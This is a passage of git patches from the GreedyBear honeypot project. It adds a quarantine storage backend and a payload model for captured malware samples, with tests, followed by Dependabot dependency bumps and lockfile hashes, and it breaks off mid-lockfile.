@@ class Meta: def __str__(self): return f"{self.event_type} from {self.src_ip} @ {self.timestamp}" + + +class HoneypotPayload(models.Model): + """ + Model for the payload that would be received by the Tpot Payload server to quarantine it in the Quarantine directory. + """ + + payload_file = models.FileField(storage=QuarantineStorage(), blank=True, null=True) + md5 = models.CharField(max_length=32, blank=True, default="") + sha1 = models.CharField(max_length=40, blank=True, default="") + sha256 = models.CharField(max_length=64, unique=True) + mime_type = models.CharField(max_length=255, blank=True, default="") + size = models.PositiveIntegerField(null=True, blank=True) + locator = models.CharField(max_length=1024, blank=True, default="") + mtime = models.FloatField(blank=True, null=True) + source_honeypots = models.ManyToManyField("Honeypot", blank=True) + iocs = models.ManyToManyField("IOC", blank=True, related_name="payloads") + cowrie_sessions = models.ManyToManyField("CowrieSession", blank=True, related_name="payloads") + + def __str__(self): + return f"Payload {self.sha256}" diff --git a/greedybear/settings.py b/greedybear/settings.py index 23a2e19d3..abd849063 100644 --- a/greedybear/settings.py +++ b/greedybear/settings.py @@ -19,6 +19,7 @@ DEBUG = os.environ.get("DEBUG", "False") == "True" DJANGO_LOG_DIRECTORY = "/var/log/greedybear/django" +QUARANTINE_DIR = "/var/lib/greedybear/quarantine" ML_MODEL_DIRECTORY = BASE_DIR / "mlmodels" # "/opt/deploy/greedybear/mlmodels" ML_CONFIG_FILE = BASE_DIR / "configuration" / "ml_config.json" MOCK_CONNECTIONS = os.environ.get("MOCK_CONNECTIONS", "False") == "True" diff --git a/greedybear/storage.py b/greedybear/storage.py new file mode 100644 index 000000000..2bde7e76f --- /dev/null +++ b/greedybear/storage.py @@ -0,0 +1,25 @@ +""" +This file is a part of GreedyBear https://github.com/honeynet/GreedyBear +See the file 'LICENSE' for copying permission. + +This file implements a custom QuarantineStorage backend (subclassing FileSystemStorage) +to restrict file saves to a quarantine directory and force a .vir extension. +""" + +from django.conf import settings +from django.core.files.storage import FileSystemStorage + + +class QuarantineStorage(FileSystemStorage): + """A file storage backend that ensures file names end with a '.vir' extension.""" + + def __init__(self, *args, **kwargs): + """Initialize the storage to QUARANTINE_DIR""" + kwargs["location"] = settings.QUARANTINE_DIR + super().__init__(*args, **kwargs) + + def get_available_name(self, name, max_length=None): + """Get an available filename, ensuring it ends with '.vir'.""" + if not name.endswith(".vir"): + name = name + ".vir" + return super().get_available_name(name, max_length) diff --git a/tests/test_models.py b/tests/test_models.py index bbfbc78fc..2012ecb8f 100644 --- a/tests/test_models.py +++ b/tests/test_models.py @@ -1,7 +1,7 @@ from django.db import IntegrityError from greedybear.enums import IpReputation -from greedybear.models import Credential, IocType, Sensor, Statistics, Tag, ViewType +from greedybear.models import Credential, HoneypotPayload, IocType, Sensor, Statistics, Tag, ViewType from . import CustomTestCase @@ -113,3 +113,25 @@ def test_credential_unique_constraint_allows_same_pair_across_protocols(self): Credential.objects.create(username="proto_user", password="proto_pass", protocol="ftp") self.assertEqual(Credential.objects.filter(username="proto_user", password="proto_pass").count(), 3) + + def test_honeypot_payload_model(self): + payload = HoneypotPayload.objects.create(sha256="1234567890abcdef", mime_type="application/x-executable", size=9000) + payload.source_honeypots.add(self.heralding) + payload.iocs.add(self.ioc) + + self.assertEqual(payload.sha256, "1234567890abcdef") + self.assertEqual(payload.source_honeypots.first().name, "Heralding") + self.assertEqual(str(payload), "Payload 1234567890abcdef") + + def test_honeypot_payload_model_unique_constraint(self): + HoneypotPayload.objects.create(sha256="unique_test_hash", mime_type="text/plain", size=123) + with self.assertRaises(IntegrityError): + HoneypotPayload.objects.create(sha256="unique_test_hash", mime_type="text/html", size=456) + + def test_honeypot_payload_model_multiple_relations(self): + payload = HoneypotPayload.objects.create(sha256="multiple_relations_hash", mime_type="application/x-executable", size=9000) + payload.iocs.add(self.ioc, self.ioc_2) + payload.source_honeypots.add(self.heralding, self.cowrie_hp) + + self.assertEqual(payload.iocs.count(), 2) + self.assertEqual(payload.source_honeypots.count(), 2) diff --git a/tests/test_storage.py b/tests/test_storage.py new file mode 100644 index 000000000..eafa9376b --- /dev/null +++ b/tests/test_storage.py @@ -0,0 +1,20 @@ +from django.conf import settings + +from greedybear.storage import QuarantineStorage + +from . import CustomTestCase + + +class QuarantineStorageTestCase(CustomTestCase): + def test_storage_location(self): + storage = QuarantineStorage() + self.assertEqual(storage.location, settings.QUARANTINE_DIR) + + def test_get_available_name_appends_vir(self): + storage = QuarantineStorage() + + name1 = storage.get_available_name("malware.exe") + self.assertTrue(name1.endswith(".vir")) + + name2 = storage.get_available_name("virus.sh.vir") + self.assertEqual(name2, "virus.sh.vir") From b81965b390176ecda264bb2e4747fb1b3865b968 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 2 Jul 2026 10:01:56 +0200 Subject: [PATCH 058/131] build(deps): bump slack-sdk from 3.42.0 to 3.43.0 (#1441) Bumps [slack-sdk](https://github.com/slackapi/python-slack-sdk) from 3.42.0 to 3.43.0. - [Release notes](https://github.com/slackapi/python-slack-sdk/releases) - [Commits](https://github.com/slackapi/python-slack-sdk/compare/v3.42.0...v3.43.0) --- updated-dependencies: - dependency-name: slack-sdk dependency-version: 3.43.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 792799764..d6712dcc1 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -34,7 +34,7 @@ dependencies = [ "stix2~=3.0", # Utilities "requests~=2.34", - "slack-sdk~=3.41", + "slack-sdk~=3.43", ] [project.urls] diff --git a/uv.lock b/uv.lock index ab651ad7c..38f2df41c 100644 --- a/uv.lock +++ b/uv.lock @@ -527,7 +527,7 @@ requires-dist = [ { name = "psycopg", extras = ["c"], specifier = "~=3.3" }, { name = "requests", specifier = "~=2.34" }, { name = "scikit-learn", specifier = "~=1.9.0" }, - { name = "slack-sdk", specifier = "~=3.41" }, + { name = "slack-sdk", specifier = "~=3.43" }, { name = "stix2", specifier = "~=3.0" }, ] @@ -995,11 +995,11 @@ wheels = [ [[package]] name = "slack-sdk" -version = "3.42.0" +version = "3.43.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/0e/00/16258bfa547559b2c936b50c882b4f0a36ebf6b69639eb763d8fa5e8d6cb/slack_sdk-3.42.0.tar.gz", hash = "sha256:873db9e1f632ac650ffdbf9d8ba825f3e9e7e576a1e4f9604ccb2a15b3727e3d", size = 252136, upload-time = "2026-05-18T17:50:44.727Z" } +sdist = { url = "https://files.pythonhosted.org/packages/13/75/a4964eb771a0c74d79ee7a3bee6fb5d9718909dd1b675e80d62a6a0ad90a/slack_sdk-3.43.0.tar.gz", hash = "sha256:0553152e46c4259eb69f7464cdadc35ba4802ca10f9f5a849c92cf03d6c2ba07", size = 252769, upload-time = "2026-06-30T18:04:41.59Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/ce/ef/8a1556bd4843443993fc116783790a7cc553601a37f7d965ec26eef95e76/slack_sdk-3.42.0-py2.py3-none-any.whl", hash = "sha256:eb39aff97e476e10cc5a8ac29bd2e79a9959e880d9fe0c03b4e8f05b2ac996ff", size = 315469, upload-time = "2026-05-18T17:50:41.972Z" }, + { url = "https://files.pythonhosted.org/packages/e4/55/42141b8338d46323d5b3c6095201b044c670c20f898643b322ea9b1543a1/slack_sdk-3.43.0-py2.py3-none-any.whl", hash = "sha256:4b6557c65577fc172f685af218b811f9f3b4909e24cddd839ada09565f10c585", size = 315866, upload-time = "2026-06-30T18:04:39.636Z" }, ] [[package]] From 0d4a8ee6c91fa9af891c6bf61a4577e767e34215 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 2 Jul 2026 10:02:22 +0200 Subject: [PATCH 059/131] build(deps-dev): bump ruff from 0.15.18 to 0.15.20 (#1440) Bumps [ruff](https://github.com/astral-sh/ruff) from 0.15.18 to 0.15.20. - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.18...0.15.20) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.20 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 44 ++++++++++++++++++++++---------------------- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index d6712dcc1..454f6871b 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -51,7 +51,7 @@ test = [ "django-test-migrations==1.5.0", ] lint = [ - "ruff==0.15.18", + "ruff==0.15.20", ] [tool.uv] diff --git a/uv.lock b/uv.lock index 38f2df41c..0ea22091e 100644 --- a/uv.lock +++ b/uv.lock @@ -533,7 +533,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [{ name = "django-watchfiles", specifier = "~=1.4" }] -lint = [{ name = "ruff", specifier = "==0.15.18" }] +lint = [{ name = "ruff", specifier = "==0.15.20" }] test = [ { name = "coverage", specifier = "==7.14.3" }, { name = "django-test-migrations", specifier = "==1.5.0" }, @@ -871,27 +871,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.18" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/74/98/1295ad5a5aa9bc85bdcdfa5d82fe7b49c61af5657df4f227637ff9de0da6/ruff-0.15.18.tar.gz", hash = "sha256:2698a964c70e8bf402dcb99c8810472d270d141e7aa8c4e13599fd52033a2f33", size = 4761437, upload-time = "2026-06-18T18:25:39.224Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/b9/d0/686e984941269621e2be72612d5c1e461f8f7b38415a2a7d7a81c8ae6715/ruff-0.15.18-py3-none-linux_armv6l.whl", hash = "sha256:8b6850172348c8381b8b3084c5915a4393c2373b9b54cd5b5e1ea15812bc10df", size = 10887308, upload-time = "2026-06-18T18:25:03.062Z" }, - { url = "https://files.pythonhosted.org/packages/ed/21/bc4123e3f5515ee99f8ce1eb93a14a0628fe4d1678663cd08f933ac16931/ruff-0.15.18-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:3fccc153a85417dcd976883160cacce486997b0a0058dd18f54b8aaaac7d1ce2", size = 11281305, upload-time = "2026-06-18T18:25:30.026Z" }, - { url = "https://files.pythonhosted.org/packages/51/93/4769464c25cf7ab2acb3c7dda9cad3d867eb41c59565b3e2a9d17249c90c/ruff-0.15.18-py3-none-macosx_11_0_arm64.whl", hash = "sha256:08d4c86a68f2c3ec2c9d56380a71fb4a4f65373055cbb8caabd645e9102f38d4", size = 10641215, upload-time = "2026-06-18T18:25:15.802Z" }, - { url = "https://files.pythonhosted.org/packages/6c/42/56926d17120db2c208d76bf60a1a019644dd9e91dc27f0f95c9caddb1366/ruff-0.15.18-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:37e5108745c2c0705da916d7d4de533ddf547051ef45f62888c31bae73f66318", size = 10957224, upload-time = "2026-06-18T18:25:36.955Z" }, - { url = "https://files.pythonhosted.org/packages/22/4f/d43fab8d8189afde803103022d000a8ef9f230616d436d52a8b2b8d63b50/ruff-0.15.18-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:56949a6ce8b3abde54c0bcb22cebfe57e8771cadc84b407ae8b8eaf67ebdcd43", size = 10699024, upload-time = "2026-06-18T18:25:05.707Z" }, - { url = "https://files.pythonhosted.org/packages/63/42/1e3e4c68bd408b9768cf3e439acbe2c78245225faef253f7028a0cdb63e0/ruff-0.15.18-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:01a754cd6a1b630d3f97e33eb452cf7a98040482318e870f8bc52a5a30e62657", size = 11491458, upload-time = "2026-06-18T18:25:20.275Z" }, - { url = "https://files.pythonhosted.org/packages/20/77/47a3484bea8521e14a203d98c389c5c97846675e4f02734672da4a69b52a/ruff-0.15.18-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6ba7a07e03a44dbf10bb086ee06705b173625014ec99f73a7e6836a5e5590a0c", size = 12383752, upload-time = "2026-06-18T18:25:22.535Z" }, - { url = "https://files.pythonhosted.org/packages/0a/ca/054159590787023d83b658a1a1819c4c8910114e7015069340b71c0961cb/ruff-0.15.18-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5a2c40a41a4cadbcf5897b548ab29dfe248b20c540961c0247d98a3973c70403", size = 11577923, upload-time = "2026-06-18T18:25:10.702Z" }, - { url = "https://files.pythonhosted.org/packages/6d/ff/d353d6b7bbd73cc0ec37f4463d7540e45e894338abdd9964eee0de332708/ruff-0.15.18-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f0480ce690cbb6c4db6e5d08f19fce98e10ba131a8b60c1bcdac42771e3ae2d", size = 11583925, upload-time = "2026-06-18T18:25:32.391Z" }, - { url = "https://files.pythonhosted.org/packages/c1/4a/891f89b9c296ed3e5f3ece1a5629badc989d9a8fdaa30431aaf4774bc1c2/ruff-0.15.18-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2330215f1f393fa8733f55edce04fcf94c36a2c460fcde31f78cc84e4951e9b1", size = 11582834, upload-time = "2026-06-18T18:25:27.309Z" }, - { url = "https://files.pythonhosted.org/packages/32/a3/ed9e370154bf85de360b93c03026157f02d4943b2d01ff4945f4429f8e8a/ruff-0.15.18-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a6aa6a3d979e48ae617578183674bf264fbe7d0114a796a26bd678d67963c7ff", size = 10927328, upload-time = "2026-06-18T18:25:34.676Z" }, - { url = "https://files.pythonhosted.org/packages/f5/d1/5cf5909329fedb5d39d555ee818ba5cf4638e1a301b89785d34f2905bfcb/ruff-0.15.18-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:a81beadbbff2c9c245561ae3f77b16709d87f35eec650d0501679239d3449b22", size = 10693187, upload-time = "2026-06-18T18:25:08.245Z" }, - { url = "https://files.pythonhosted.org/packages/fd/44/ff6c635cf2c4f4e7b618b6640da057376baa36014695487d88aed4794268/ruff-0.15.18-py3-none-musllinux_1_2_i686.whl", hash = "sha256:2186d9e940ae332ab293623a75b5f4fe49565f449954d50a72a046683aa6b809", size = 11208721, upload-time = "2026-06-18T18:25:41.327Z" }, - { url = "https://files.pythonhosted.org/packages/88/d9/5baa2a30861adfb7022cf33c1e35b2fc18085b08c16f83eff4c7b99a5f48/ruff-0.15.18-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:5c2abf140438032bc77b2284a6c9944ecd8a19e5f1c7b52b1b8e4a0a80d19a7a", size = 11678599, upload-time = "2026-06-18T18:25:13.607Z" }, - { url = "https://files.pythonhosted.org/packages/c3/1a/0725a7cfdc32ff769efb96ee782bec882e16448c5d9e3be947ec4c04ce27/ruff-0.15.18-py3-none-win32.whl", hash = "sha256:02299e6e9fa5b297a3f6d5d10d7bcd655c925b028bb8b9d4588214549c6b9ec4", size = 10901903, upload-time = "2026-06-18T18:25:24.755Z" }, - { url = "https://files.pythonhosted.org/packages/f3/51/805d9f6fb7970505c3504794a5ec350f605361b807fef4dcf214ebd35e72/ruff-0.15.18-py3-none-win_amd64.whl", hash = "sha256:dac80dc8d26b2257dbefabed62f5d255c3937b4ccb122da1fc634794fa3578b3", size = 12041189, upload-time = "2026-06-18T18:25:17.915Z" }, - { url = "https://files.pythonhosted.org/packages/29/4c/67bb45e41609eb4726f1bfeb59e083cf91d14c696d4bd14c234a980be93d/ruff-0.15.18-py3-none-win_arm64.whl", hash = "sha256:b2c9257fcbd4a3e5b977a1904e6facca016bafe2edc17df24db67cfaee03b4e4", size = 11329958, upload-time = "2026-06-18T18:25:43.686Z" }, +version = "0.15.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/43/dc/35b341fc554ba02f217fc10da57d1a75168cfbcf75b0ef2202176d4c4f2d/ruff-0.15.20.tar.gz", hash = "sha256:1416eb04349192646b54de98f146c4f59afe37d0decfc02c3cbbf396f3a28566", size = 4755489, upload-time = "2026-06-25T17:20:37.578Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/94/d9/2d5014f0253ba541d2061d9fa7193f48e941c8b21bb88a7ff9bbe0bd0596/ruff-0.15.20-py3-none-linux_armv6l.whl", hash = "sha256:00e188c53e499c3c1637f73c91dcf2fb56d576cab76ce1be50a27c4e80e37078", size = 10839665, upload-time = "2026-06-25T17:19:44.702Z" }, + { url = "https://files.pythonhosted.org/packages/c6/d3/ac1798ba64f670698867fcfc591d50e7e421bef137db564858f619a30fcf/ruff-0.15.20-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9ebd1fd9b9c95fc0bd7b2761aebec1f030013d2e193a2901b224af68fe47251b", size = 11208649, upload-time = "2026-06-25T17:19:48.787Z" }, + { url = "https://files.pythonhosted.org/packages/47/47/d3ac899991202095dfcf3d5176be4272642be3cf981a2f1a30f72a2afb95/ruff-0.15.20-py3-none-macosx_11_0_arm64.whl", hash = "sha256:c5b16cdd67ca108185cd36dce98c576350c03b1660a751de725fb049193a0632", size = 10622638, upload-time = "2026-06-25T17:19:51.354Z" }, + { url = "https://files.pythonhosted.org/packages/33/13/4e043fe30aa94d4ff5213a9881fc296d12960f5971b234a5263fdc225312/ruff-0.15.20-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3413bb3c3d2ca6a8208f1f4809cd2dca3c6de6d0b491c0e70847672bde6e6efd", size = 10984227, upload-time = "2026-06-25T17:19:54.044Z" }, + { url = "https://files.pythonhosted.org/packages/76/e6/92e7bf40388bc5800073b96564f56264f7e48bfd1a498f5ced6ae6d5a769/ruff-0.15.20-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bd7ec42b3bb3da066488db093308a69c4ac5ee6d2af333a86ba6e2eb2e7dd44b", size = 10622882, upload-time = "2026-06-25T17:19:57.037Z" }, + { url = "https://files.pythonhosted.org/packages/13/7a/43460be3f24495a3aa46d4b16873e2c4941b3b5f0b00cf88c03b7b94b339/ruff-0.15.20-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1a36ad0eb77fba9aabfb69ede54de6f376d04ac18ebea022847046d340a8267", size = 11474808, upload-time = "2026-06-25T17:20:00.357Z" }, + { url = "https://files.pythonhosted.org/packages/27/a0/f37077884873221c6b33b4ab49eb18f9f88e54a16a25a5bca59bef46dd66/ruff-0.15.20-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b6df3b1e4610432f0386dba04d853b5f08cbbc903410c6fcc02f620f05aff53c", size = 12293094, upload-time = "2026-06-25T17:20:03.446Z" }, + { url = "https://files.pythonhosted.org/packages/a6/74/165545b60256a9704c21ac0ec4a0d07933b320812f9584836c9f4aca4292/ruff-0.15.20-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e89f198a1ea6ef0d727c1cf16088bc91a6cb0ab947dedc966715691647186eae", size = 11526176, upload-time = "2026-06-25T17:20:06.301Z" }, + { url = "https://files.pythonhosted.org/packages/86/b1/a976a136d40ade83ce743578399865f57001003a409acadc0ecbb3051082/ruff-0.15.20-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309809086c2acb67624950a3c8133e80f32d0d3e27106c0cd60ff26657c9f24b", size = 11520767, upload-time = "2026-06-25T17:20:09.191Z" }, + { url = "https://files.pythonhosted.org/packages/19/0f/f032696cb01c9b54c0263fa393474d7758f1cdc021a01b04e3cbc2500999/ruff-0.15.20-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:2d2374caa2f2c2f9e2b7da0a50802cfb8b79f55a9b5e49379f564544fbf56487", size = 11500132, upload-time = "2026-06-25T17:20:13.602Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f4/51b1a14bc69e8c224b15dab9cce8e99b425e0455d462caa2b3c9be2b6a8e/ruff-0.15.20-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:a1ed17b65293e0c2f22fc387bc13198a5de94bf4429589b0ff6946b0feaf21a3", size = 10943828, upload-time = "2026-06-25T17:20:16.635Z" }, + { url = "https://files.pythonhosted.org/packages/71/4b/fe267640783cd02bf6c5cc290b1df1051be2ec294c678b5c15fe19e52343/ruff-0.15.20-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:f701305e66b38ea6c91882490eb73459796808e4c6362a1b765255e0cdcd4053", size = 10645418, upload-time = "2026-06-25T17:20:19.4Z" }, + { url = "https://files.pythonhosted.org/packages/b0/c0/a65aa4ec2f5e87a1df32dc3ec1fede434fe3dfd5cbcf3b503cafc676ab54/ruff-0.15.20-py3-none-musllinux_1_2_i686.whl", hash = "sha256:5b9c0c367ad8e5d0d5b5b8537864c469a0a0e55417aadfbeca41fa61333be9f4", size = 11211770, upload-time = "2026-06-25T17:20:22.033Z" }, + { url = "https://files.pythonhosted.org/packages/5a/a4/0caa331d954ae2723d729d351c989cb4ca8b6077d5c6c2cb6de75e98c041/ruff-0.15.20-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:01cc00dd58f0df339d0e902219dd53990ea99996a0344e5d9cc8d45d5307e460", size = 11618698, upload-time = "2026-06-25T17:20:25.259Z" }, + { url = "https://files.pythonhosted.org/packages/10/9b/5f14927848d2fd4aa891fd88d883788c5a7baba561c7874732364045708c/ruff-0.15.20-py3-none-win32.whl", hash = "sha256:ed65ef510e43a137207e0f01cfcf998aeddb1aeeda5c9d35023e910284d7cf21", size = 10857322, upload-time = "2026-06-25T17:20:28.612Z" }, + { url = "https://files.pythonhosted.org/packages/fa/f0/fe47c501f9dea92a26d788ff98bb5d92ed4cb4c88792c5c88af6b697dc8e/ruff-0.15.20-py3-none-win_amd64.whl", hash = "sha256:a525c81c70fb0380344dd1d8745d8cc1c890b7fc94a58d5a07bd8eb9557b8415", size = 11993274, upload-time = "2026-06-25T17:20:31.871Z" }, + { url = "https://files.pythonhosted.org/packages/d7/2b/9555445e1201d92b3195f45cdb153a0b68f24e0a4273f6e3d5ab46e212bb/ruff-0.15.20-py3-none-win_arm64.whl", hash = "sha256:2f5b2a6d614e8700388806a14996c40fab2c47b819ef57d790a34878858ed9ca", size = 11343498, upload-time = "2026-06-25T17:20:35.03Z" }, ] [[package]] From c58b7d48eb94b3a846fa6f88d09561862b218693 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 2 Jul 2026 10:02:40 +0200 Subject: [PATCH 060/131] build(deps-dev): bump vite from 8.1.0 to 8.1.2 in /frontend (#1439) Bumps [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) from 8.1.0 to 8.1.2. - [Release notes](https://github.com/vitejs/vite/releases) - [Changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md) - [Commits](https://github.com/vitejs/vite/commits/v8.1.2/packages/vite) --- updated-dependencies: - dependency-name: vite dependency-version: 8.1.2 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 154 ++++++++++++++++++------------------- frontend/package.json | 2 +- 2 files changed, 78 insertions(+), 78 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 74475f662..f869c69d8 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -37,7 +37,7 @@ "jsdom": "^29.1.1", "prettier": "^3.8.4", "stylelint": "^17.13.0", - "vite": "^8.1.0", + "vite": "^8.1.2", "vitest": "^4.1.9" } }, @@ -1058,14 +1058,14 @@ } }, "node_modules/@napi-rs/wasm-runtime": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.5.tgz", - "integrity": "sha512-AWPoBRJ9tsnVhor4sjO7rkni+7p+2IAEFj6cx06UgP10jkQHqay/36uRV/bFkgrh18D9vb4cr8Q0Pthskgzy+Q==", + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.6.tgz", + "integrity": "sha512-ZLv/JdUfkvOy9eCnnBaGfiO+XimbjebAeO+MRQqD/B+FR1tnRN0tpKSJHRbE8sFfS6aqsXZ67TQjfwfsxULVbg==", "dev": true, "license": "MIT", "optional": true, "dependencies": { - "@tybys/wasm-util": "^0.10.2" + "@tybys/wasm-util": "^0.10.3" }, "funding": { "type": "github", @@ -1467,9 +1467,9 @@ } }, "node_modules/@rolldown/binding-android-arm64": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.1.2.tgz", - "integrity": "sha512-2cZ+7xRS+DBcuJBJKnfzsbleumJhBqSlJVpuzHC0nTqfd3QQ7Vx2/x5YR/D7cBamKSeWplwo82Fn9lqYUDEMfA==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.1.3.tgz", + "integrity": "sha512-DT6Z3PhvioeHMvxo+xHc3KtqggrI7CCTXCmC2h/5zUlp5jVitv7XEy+9q5/7v8IolhlioawpMo8Kg0EEBy7J0g==", "cpu": [ "arm64" ], @@ -1484,9 +1484,9 @@ } }, "node_modules/@rolldown/binding-darwin-arm64": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.1.2.tgz", - "integrity": "sha512-RkPMJnygxsgOYdkfqgpwY0/Fzm8d0VQe6HGU2/B00Xa9eqdLbrII+DOKAodbJAn3ZL1AJxGHkZRPYazgGY6Ljw==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.1.3.tgz", + "integrity": "sha512-0NwgwsjM7LrsuVnXMK3koTpagBNOhloc/BNjKqZjv4V5zI5r13qx69uVhRx+o5Z0yy4Hzq+lpy7TAgUG/ocvrw==", "cpu": [ "arm64" ], @@ -1501,9 +1501,9 @@ } }, "node_modules/@rolldown/binding-darwin-x64": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.1.2.tgz", - "integrity": "sha512-Uiczh6vFhwyfd7WNe7Q7mCA4KxAiLdz7jPE/WGizfRpIieoyFuNVMmM8HqZ9HwudTkY6/AeMQwlNJ9NJijguWw==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.1.3.tgz", + "integrity": "sha512-YtiBp4disu6V560loT6PjMdiRaWmVvDNrUunAalbiFx2ggeJwxdAsgZMcoGP17uyAsTwAj5V1niksxlHnVQ1Sw==", "cpu": [ "x64" ], @@ -1518,9 +1518,9 @@ } }, "node_modules/@rolldown/binding-freebsd-x64": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.1.2.tgz", - "integrity": "sha512-+TpdtTRgHiJFjCVFbw311SuLk3KfytPOQQn+VlAEv+gBxYPtL7E6JS9e/tk+8CwxhIZvemJKo4rTKgfWNsKkkA==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.1.3.tgz", + "integrity": "sha512-yD3EkEdXk2LypPxnf/kSZHirarsI8gcPzc62SukhR9VJTyvV+F9Q/GxWNuCojc7sXyuVC4DxRGhdDK4X8VSsbw==", "cpu": [ "x64" ], @@ -1535,9 +1535,9 @@ } }, "node_modules/@rolldown/binding-linux-arm-gnueabihf": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.1.2.tgz", - "integrity": "sha512-4lv1/tkmi7ueIVHnyreaOeUpiZP26BH9rRy6hoYfR9310A2B9nUEVRDvBx69vx64Nr3eTPPRkyciqJJs+j9Jmw==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.1.3.tgz", + "integrity": "sha512-c+8vieQbsD7HNAHKIA34w0GJ9FedFFuJGD+7E6vz7Q3uqAIugL5p45fhlsj4UaAsHpcmlqugBWMhA0/j7o0sIg==", "cpu": [ "arm" ], @@ -1552,9 +1552,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-gnu": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.1.2.tgz", - "integrity": "sha512-gBSUVO0eaWgw1JMjK3gB8BMlX2Mk148s2lTiVT3e9vjVxbl7UDfMWWY8CfIaaqiXuM9fVTMxIpUz6CAo/B6Vlw==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.1.3.tgz", + "integrity": "sha512-50jD0uUwLvur7Zz9LHz17kaAdTPjn5wN93hEgjvmYFRZwiR7ZJYovTd5ipyWJDAnXKvZ+wgc+/Ika6dwSF5OcA==", "cpu": [ "arm64" ], @@ -1572,9 +1572,9 @@ } }, "node_modules/@rolldown/binding-linux-arm64-musl": { - "version": "1.1.2", - "resolved": 